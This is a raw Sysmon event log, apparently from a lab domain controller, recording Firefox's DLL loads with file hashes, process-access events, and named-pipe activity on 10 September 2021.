Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.086{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.086{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 23542300x800000000000000050693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.086{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A0A9B8EB3B63BCB7E38B5030E2648447,SHA256=0D56E75A38F6703DF081E5FAA335DF25F8ECF57942F23A1117A55DC15F973ACB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.071{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nlaapi.dll10.0.14393.3808 (rs1_release.200707-2105)Network Location Awareness 2Microsoft® Windows® Operating SystemMicrosoft Corporationnlaapi.dllMD5=63EB5F68082B8C8C392E5DAC1D4EC678,SHA256=58EC364601FA6FE26525D8ADB44B7EDEFCFB73E72897C77B6E37F73E1C7BF871,IMPHASH=0B7F4620EB804B43452C1AFA5341A2C2trueMicrosoft WindowsValid 734700x800000000000000050691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.071{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winrnr.dll10.0.14393.0 (rs1_release.160715-1616)LDAP RnR Provider DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationwinrnrMD5=B0DE13ABF238AB28E963629B977A012F,SHA256=43288C8A658C2F0CB0CB1C9D874506D6CEEF455AAB68CE2EF0D685DE8E3BA0C3,IMPHASH=77C2BDF68EAD031D294626FB2F3033A1trueMicrosoft WindowsValid 734700x800000000000000050690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.071{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 10341000x800000000000000050689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.071{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a462d8|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a52a99|C:\Program Files\Mozilla Firefox\xul.dll+e415b8|C:\Program Files\Mozilla Firefox\xul.dll+19d7315|C:\Program Files\Mozilla Firefox\xul.dll+19cb8d2|C:\Program Files\Mozilla Firefox\xul.dll+19a2909|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 18141800x800000000000000050688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:25.071{7BD73061-728D-613B-560B-00000000F001}4776\cubeb-pipe-4776-2C:\Program Files\Mozilla Firefox\firefox.exe 17141700x800000000000000050687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:25.071{7BD73061-728D-613B-560B-00000000F001}4776\cubeb-pipe-4776-2C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.071{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\NapiNSP.dll10.0.14393.0 (rs1_release.160715-1616)E-mail Naming Shim ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationnapinsp.dllMD5=71514D9A6350A37B4F0BAA6ACB751771,SHA256=5DB99D6784900D85BB4A62E9F40B4EC628054D41B38A5E93F80C7A8BB066EBBB,IMPHASH=8D3297F500E5144336C044019A1ACFD4trueMicrosoft WindowsValid 10341000x800000000000000050685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.071{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntmarta.dll10.0.14393.0 (rs1_release.160715-1616)Windows NT MARTA providerMicrosoft® Windows® Operating SystemMicrosoft Corporationntmarta.dllMD5=854A3CAE7C97B630158C9F7EE8555970,SHA256=20F0A4D99C5095A0CAC39B816BFC987F64CD051843C79E027714666375986176,IMPHASH=98050D95AE15C8382F287539F2BF65FAtrueMicrosoft WindowsValid 10341000x800000000000000050683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000050682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:25.055{7BD73061-728F-613B-5C0B-00000000F001}6212\chrome.4776.6.123233788C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-728D-613B-560B-00000000F001}47766152C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+1b5a9c|C:\Program Files\Mozilla Firefox\xul.dll+a0c416|C:\Program Files\Mozilla Firefox\xul.dll+a06fcf|C:\Program Files\Mozilla Firefox\xul.dll+19c3d4d|C:\Program Files\Mozilla Firefox\xul.dll+19c272c|C:\Program Files\Mozilla Firefox\xul.dll+13ca5|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+13388|C:\Program Files\Mozilla Firefox\xul.dll+9e92c1|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 17141700x800000000000000050680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:25.055{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.6.123233788C:\Program Files\Mozilla Firefox\firefox.exe 18141800x800000000000000050679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:25.055{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.5.501714C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-728D-613B-560B-00000000F001}47763944C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+133dab|C:\Program Files\Mozilla Firefox\xul.dll+121475d|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000050677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:58:25.055{7BD73061-728D-613B-560B-00000000F001}4776\gecko-crash-server-pipe.4776C:\Program Files\Mozilla Firefox\firefox.exe 734700x800000000000000050676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\userenv.dll10.0.14393.4583 (rs1_release.210730-1850)UserenvMicrosoft® Windows® Operating SystemMicrosoft Corporationuserenv.dllMD5=E0F286AF345442E267C33880492CED31,SHA256=5C6D66F5A748551999BE1CDE33A3A1FC2E10D1297EF275D232A9FDCC95BEA84B,IMPHASH=C84FC60AE2A79A06E8C46A6929CDECB4trueMicrosoft WindowsValid 734700x800000000000000050675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000050674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wtsapi32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Remote Desktop Session Host Server SDK APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationwtsapi32.dllMD5=D0DB3DD09FB2B4ADABF4E719FAFC4EB9,SHA256=8B7C056B5F4AB604ED5077A39C63CE1B5A34929DE76DA4A3C54D6E648D123BAB,IMPHASH=AD7CEB919D43FA2BD394EC803EB6BCDAtrueMicrosoft WindowsValid 734700x800000000000000050673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000050672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000050671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000050670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000050669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000050668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000050667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000050666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msi.dll5.0.14393.4530Windows InstallerWindows Installer - UnicodeMicrosoft Corporationmsi.dllMD5=4479EEB5C5400D4C084274BA015750FA,SHA256=6B30AE7147132038E603EEB2D35C35BB3D03EC5AFA560D31969E2D39A44ACDCD,IMPHASH=702DDC1509DE604C8D612A66E9E39DACtrueMicrosoft WindowsValid 734700x800000000000000050665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\usp10.dll10.0.14393.3321 (rs1_release.191016-1811)Uniscribe Unicode script processorMicrosoft® Windows® Operating SystemMicrosoft CorporationUSP10.DLLMD5=ACF31D492FD578C0374EB20CC393BE98,SHA256=D49ECA60A94B30DB87CDCEB36F284D273E080E8689E4B0F99D5BD44FFD117A92,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\avrt.dll10.0.14393.2969 (rs1_release.190503-1820)Multimedia Realtime RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationavrt.dllMD5=8EC9E2490A9FFA637115F758B22FFF78,SHA256=1A3295CBF09E9367CCE68505D949D724FB9B66B4516770B7D594273C3BCFC5B8,IMPHASH=F266C00A61E480BB0A81B1A89DB30014trueMicrosoft WindowsValid 734700x800000000000000050663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\setupapi.dll10.0.14393.2608 (rs1_release.181024-1742)Windows Setup APIMicrosoft® Windows® Operating SystemMicrosoft CorporationSETUPAPI.DLLMD5=8EEA3E9E124AC395915517588723F12E,SHA256=ED63B8F0079069271F46EECCB4B0CF384D02BD1E18FE3BA635A0C0B1284B2CBE,IMPHASH=5910ADAAC44A92AFA6ED871531949CEEtrueMicrosoft WindowsValid 734700x800000000000000050662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000050661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000050660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.055{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000050659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000050658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000050657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000050656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000050655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000050654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\xul.dll92.0-FirefoxMozilla Foundationxul.dllMD5=3766950EB9C04428A9C737E569AC7ED9,SHA256=FC3E8D58FDB3000E92E0A62E044B2391BA002994935B04E39A1A3AF219102451,IMPHASH=0CA4B93436FFED8B6671051BFC088C43trueMozilla CorporationValid 734700x800000000000000050653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\lgpllibs.dll92.0-FirefoxMozilla Foundationlgpllibs.dllMD5=269AB2EAD217B029964A404AA6274B7F,SHA256=4EC20AE6993C89A577E13B64EEAD560E680FBC22B0398E4F747E24338DAB4E3A,IMPHASH=451AECEA9F58042E76D96A82BE2804FAtrueMozilla CorporationValid 734700x800000000000000050652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000050651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmmbase.dll10.0.14393.0 (rs1_release.160715-1616)Base Multimedia Extension API DLLMicrosoft® Windows® Operating SystemMicrosoft 